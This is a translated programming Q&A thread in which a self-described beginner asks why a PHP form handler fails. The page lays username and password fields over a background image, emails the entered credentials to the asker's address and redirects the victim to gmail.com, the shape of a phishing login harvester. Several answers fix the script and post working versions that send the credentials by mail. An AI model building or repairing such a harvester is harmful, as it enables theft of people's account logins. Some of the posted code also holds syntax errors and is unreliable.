Как я могу отправить электронное письмо на form_submit?

Я начинающий, и я ставлю задачи для себя. Я построил HTML-страницу, в которой я добавил форму. Это выглядит так:

<body background="images/backgr.jpg" bgProperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;">

<form action="send.php" method="post">
<input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0">
<input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1">
<input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22>     </a></div>
</form>

И php-файл ‘send.php’:

<?php
if(isset($_POST['submit'])){
$to = "[email protected]"; // <mail-ul nostru
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$message = $username . " " . $password . ";
mail($to,$subject,$message,$headers);
}
header (Location: "www.gmail.com");
?>

Я получаю сообщение об ошибке при нажатии кнопки «Отправить» в моем HTML.

-5

Решение

Загрузите и прочитайте о PHPMailer и используйте следующий код:

                            <?php
if (isset ( $_POST ['submit'] )) {
require 'PHPMailer/PHPMailerAutoload.php';

$mail = new PHPMailer ();

$mail->isSMTP (); // Set mailer to use SMTP
$mail->Host = 'smtp.gmail.com'; // Specify main and backup SMTP servers
$mail->SMTPAuth = true; // Enable SMTP authentication
$mail->Username = '[email protected]'; // SMTP username
$mail->Password = 'password'; // SMTP password
$mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted
$mail->Port = 587; // TCP port to connect to

$mail->setFrom ( 'Fromemailaddress', 'xyz' );
$mail->addReplyTo ( 'toemailaddress', 'xyz' );
$mail->addAddress ( 'Fromemailaddress' ); // Add a recipient
// $mail->addCC('[email protected]');
// $mail->addBCC('[email protected]');

$mail->isHTML ( true ); // Set email format to HTML

$bodyContent = '<h1>hello </h1>';
$bodyContent .= '<p>This is my 1st email through php</p>';

$mail->Subject = 'Email from Localhost by CodexWorld';
$mail->Body = $bodyContent;

if (! $mail->send ()) {
echo 'Message could not be sent.';
echo 'Mailer Error: ' . $mail->ErrorInfo;
} else {
echo 'Message has been sent';
}
}

?>
<form action="#" method="post">
<input name="username" type="text"> <input name="password"type="password"> <input type="submit" name="submit" id="submit" />
</form>
0

Другие решения

$header = "From: [email protected]";

добавить это внутри блока isset. и используйте заголовок, только если работает функция mail.

Как это-

  if(mail('','','','')){
//redirect line here
}else{
//error statement here
}

проверьте ваши переменные $ user_name и $ username. Это отправит только $ password значение по почте, и вы будете продолжать задаваться вопросом, куда делось имя пользователя! Я научился этому нелегко, поэтому будьте осторожны с именами пользователей. с помощью _ Рекомендовано.

Вот что я имею ввиду

<?php
if(isset($_POST['submit'])){
$to = "[email protected]"; // this id will get the mail
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$header = "From: [email protected]";//this is where the mail. comes from. you were missing this parameter. it was not created
$message = $user_name . " " . $password . ";
if(mail($to,$subject,$message,$headers)){  //this is true if mail is sent other wise it will go into else block
header (Location: "www.gmail.com");
}else{
echo 'Mail was not sent...'; //or redirect to some other page if you like
}
}

?>

Надеюсь это поможет! Дайте мне знать, если у вас есть что-нибудь еще.

0

Для отправки почты используйте PHPMailer (https://github.com/PHPMailer/PHPMailer)

Используйте этот код:

<?php
include("class.phpmailer.php");
include("class.pop3.php");
include("class.smtp.php");

$messaggio_pre = new PHPmailer();
$messaggio_pre->IsSMTP(); // attiva l'invio tramiteSMTP
$messaggio_pre->Host = "localhost"; // indirizzo smtp
$messaggio_pre->IsSMTP();
$messaggio_pre->SMTPAuth = true;
$messaggio_pre->IsHTML(true);
$messaggio_pre->Host='YourHost'; //compile
$messaggio_pre->Username = '[email protected]'; //compile
$messaggio_pre->Password = 'password'; //compile
$messaggio_pre->From='[email protected]'; //compile
$messaggio_pre->FromName='FromName'; //compile
$messaggio_pre->AddAddress([email protected]); //compile
$messaggio_pre->Subject='YourSubject'; //compile
$messaggio_pre->Body.='Text text!'; //compile
if(!$messaggio_pre->Send()){
echo $messaggio_pre->ErrorInfo;
}
$messaggio_pre->SmtpClose();
unset($messaggio_pre);
?>

Очевидно, вы должны включить 3 файла. Список:
class.phpmailer.php
class.pop3.php
class.smtp.php

0

<?php
if(isset($_POST['submit'])){
$to = "[email protected]"; // <mail-ul nostru
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$message = $username . " " . $password;
mail($to,$subject,$message);
}
header ("Location: https://www.gmail.com");
?>
-1
По вопросам рекламы [email protected]